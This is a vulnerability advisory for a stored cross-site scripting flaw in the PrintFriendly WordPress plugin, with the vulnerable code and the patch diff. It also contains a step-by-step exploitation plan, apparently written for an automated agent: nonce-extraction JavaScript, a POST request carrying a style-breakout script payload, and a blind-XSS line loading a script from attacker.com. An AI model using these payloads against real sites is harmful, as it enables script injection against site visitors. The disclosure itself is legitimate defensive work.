CVE-2026-9738

Print, PDF, Email by PrintFriendly <= 5.5.10 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'content_position_css' Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
5.5.11
Patched in
1d
Time to patch

Description

The Print, PDF, Email by PrintFriendly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'content_position_css' parameter in all versions up to, and including, 5.5.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.5.10
PublishedJuly 10, 2026
Last updatedJuly 11, 2026
Affected pluginprintfriendly

What Changed in the Fix

Changes introduced in v5.5.11

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-9738**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Print, PDF, Email by PrintFriendly** plugin. The vulnerability allows an authenticated administrator to inject arbitrary scripts via the `content_position_css` parameter, which are s…

Show full research plan

This exploitation research plan targets CVE-2026-9738, a Stored Cross-Site Scripting (XSS) vulnerability in the Print, PDF, Email by PrintFriendly plugin. The vulnerability allows an authenticated administrator to inject arbitrary scripts via the content_position_css parameter, which are subsequently executed for any user visiting the site.


1. Vulnerability Summary

  • Vulnerability: Stored Cross-Site Scripting (XSS)
  • Plugin: Print, PDF, Email by PrintFriendly (slug: printfriendly)
  • Affected Versions: <= 5.5.10
  • Vulnerable Parameter: content_position_css (part of the printfriendly_option array)
  • Sink: The value is echoed onto the frontend, likely within a <style> block in the wp_head or near the plugin's button rendering logic, without proper sanitization (on input) or escaping (on output).
  • Security Check Deficiency: The plugin fails to use esc_html() or wp_kses() when outputting the custom CSS configuration.

2. Attack Vector Analysis

  • Endpoint: wp-admin/options.php (The standard WordPress options update handler).
  • Action: update
  • Required Privileges: Administrator (permissions to manage the plugin's settings).
  • Preconditions: The plugin must be active. The attacker must have a valid administrator session.
  • Payload Location: The printfriendly_option[content_position_css] POST parameter.

3. Code Flow

  1. Input: An administrator navigates to the plugin settings page (usually under Settings > PrintFriendly & PDF).
  2. Persistence: When the form is submitted, WordPress's options.php handles the request. It looks for the printfriendly_option group registered via register_setting in pf.php's init() method.
  3. Storage: The raw string containing the XSS payload is stored in the wp_options table under the key printfriendly_option.
  4. Sink: In pf.php, the front_head method (hooked to wp_head) or a similar method responsible for frontend rendering retrieves the options via get_option('printfriendly_option').
  5. Execution: The value of $this->options['content_position_css'] is echoed into the page source (likely inside a <style> tag) without escaping, allowing an attacker to close the tag and start a <script> block.

4. Nonce Acquisition Strategy

Since this is an Administrator+ vulnerability, the exploit involves updating settings. The nonce is required to prevent CSRF, but since the attacker has administrative access, they can obtain it directly from the settings page.

  1. Target Page: /wp-admin/options-general.php?page=printfriendly
  2. Identification: The settings form in views/settings.php uses settings_fields($this->option_name) and wp_nonce_field('pf-options', 'pf-nonce').
  3. Acquisition:
    • Use browser_navigate to the settings page.
    • Use browser_eval to extract the necessary fields:
      • _wpnonce (for the option group)
      • pf-nonce (the custom nonce used in settings.php)
// JavaScript to run in browser context
var data = {
    option_page: document.querySelector('input[name="option_page"]')?.value,
    _wpnonce: document.querySelector('input[name="_wpnonce"]')?.value,
    pf_nonce: document.querySelector('#pf-nonce')?.value
};
return data;

5. Exploitation Strategy

The goal is to inject a payload that breaks out of a CSS context and executes JavaScript.

  1. Login: Authenticate as an Administrator.
  2. Recon: Navigate to /wp-admin/options-general.php?page=printfriendly to confirm the presence of the content_position_css field (or the generic options form).
  3. Payload: </style><script>alert(document.domain)</script><style>
  4. HTTP Request (via http_request):
    • URL: http://localhost:8080/wp-admin/options.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      option_page=printfriendly_option&
      action=update&
      _wpnonce=[EXTRACTED_NONCE]&
      printfriendly_option[content_position_css]=%3C%2Fstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cstyle%3E
      

    Note: Other existing options in the printfriendly_option array should be included in the request to avoid overwriting them with null values, if the plugin does not merge them.

6. Test Data Setup

  1. Plugin Installation: Ensure printfriendly version 5.5.10 is installed and activated.
  2. User: Create an administrator user (e.g., admin/password).
  3. Frontend Page: Ensure at least one public post or page exists where the PrintFriendly button is displayed (the plugin usually adds it to the_content by default).

7. Expected Results

  • Admin Side: The request to options.php should return a 302 Found redirect back to the settings page with settings-updated=true.
  • Frontend Side: When viewing any post, the page source will contain:
    <style>...</style><script>alert(document.domain)</script><style>...</style>
    
  • Execution: A browser alert box showing the domain name will appear.

8. Verification Steps

  1. WP-CLI Check:
    wp option get printfriendly_option --format=json | grep "script"
    
    Confirm the payload is present in the database.
  2. Frontend Check:
    Use the http_request tool to fetch the homepage and verify the string </style><script>alert(document.domain)</script> exists in the raw HTML response.

9. Alternative Approaches

If content_position_css is not the exact parameter name in the UI, check for:

  • custom_css
  • Any field under the "Advanced" tab that accepts CSS.
  • Blind XSS: If the payload is only reflected in specific contexts (like the Print preview), use a payload that triggers a callback to an external listener (e.g., <script src="http://attacker.com/x.js"></script>).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Print, PDF, Email by PrintFriendly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'content_position_css' parameter in versions up to and including 5.5.10. An authenticated administrator can inject arbitrary JavaScript into the plugin settings, which is then rendered on the website's frontend within a style block without sufficient sanitization or escaping, allowing for script execution in the context of any site visitor.

Vulnerable Code

/* pf.php line 364 */
function get_content_position_css_tag()
{
    $css = $this->getVal('content_position_css');
    if (! empty($css)) {
        return sprintf('<style type="text/css" id="pf-button-css">%s</style>', $css);
    }
    return null;
}

---

/* pf.php line 396 */
<style type="text/css" id="pf-main-css">
    <?php echo $this->get_main_css(); ?>
</style>

    <?php echo $this->get_content_position_css_tag(); ?>

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/printfriendly/5.5.10/pf.php /home/deploy/wp-safety.org/data/plugin-versions/printfriendly/5.5.11/pf.php
--- /home/deploy/wp-safety.org/data/plugin-versions/printfriendly/5.5.10/pf.php	2026-05-16 22:34:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/printfriendly/5.5.11/pf.php	2026-06-29 20:34:10.000000000 +0000
@@ -364,6 +368,10 @@
         {
             $css = $this->getVal('content_position_css');
             if (! empty($css)) {
+                // Defense in depth: strip any HTML tags (e.g. a stored "</style>"
+                // breakout) before echoing into the <style> element. wp_strip_all_tags()
+                // leaves bare ">" characters intact, so CSS child combinators keep working.
+                $css = wp_strip_all_tags($css);
                 return sprintf('<style type="text/css" id="pf-button-css">%s</style>', $css);
             }
             return null;
@@ -385,10 +393,16 @@
             }
             ?>
         <style type="text/css" id="pf-main-css">
-            <?php echo $this->get_main_css(); ?>
+            <?php
+            // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Inline CSS assembled from integer- and hex-validated option values.
+            echo $this->get_main_css();
+            ?>
         </style>
 
-            <?php echo $this->get_content_position_css_tag(); ?>
+            <?php
+            // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Returns a <style> tag whose CSS is run through wp_strip_all_tags() inside the method.
+            echo $this->get_content_position_css_tag();
+            ?>
 
         <style type="text/css" id="pf-excerpt-styles">
           .pf-button.pf-button-excerpt {
@@ -780,6 +799,15 @@
 
             if (! isset($input['button_alignment_method']) || 'css' !== $input['button_alignment_method']) {
                 $valid_input['content_position_css'] = '';
+            } elseif (isset($input['content_position_css'])) {
+                // Strip all HTML/PHP tags (including any "</style>" breakout) before
+                // storing, mirroring the Custom CSS sanitization below. A bare ">"
+                // (CSS child combinator) is preserved because strip_tags() only removes
+                // complete "<...>" sequences.
+                $position_css = wp_strip_all_tags($input['content_position_css']);
+                $valid_input['content_position_css'] = sanitize_textarea_field($position_css);
+            } else {
+                $valid_input['content_position_css'] = '';
             }

Exploit Outline

The exploitation of this vulnerability requires an authenticated Administrator user to update the plugin's configuration via the WordPress options handler. 1. The attacker logs in as an administrator and navigates to the plugin settings page to extract the required `_wpnonce` and `pf-nonce` values. 2. The attacker submits a POST request to `wp-admin/options.php` targeting the `printfriendly_option` group. 3. The payload `</style><script>alert(document.domain)</script><style>` is injected into the `printfriendly_option[content_position_css]` parameter. 4. This malicious string is stored unsanitized in the `wp_options` table. 5. When any user visits a public page where the PrintFriendly button is active, the plugin retrieves the stored value and echoes it directly into the HTML `<head>` within a `<style>` block. 6. The payload breaks out of the CSS context via `</style>` and executes the injected JavaScript code.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.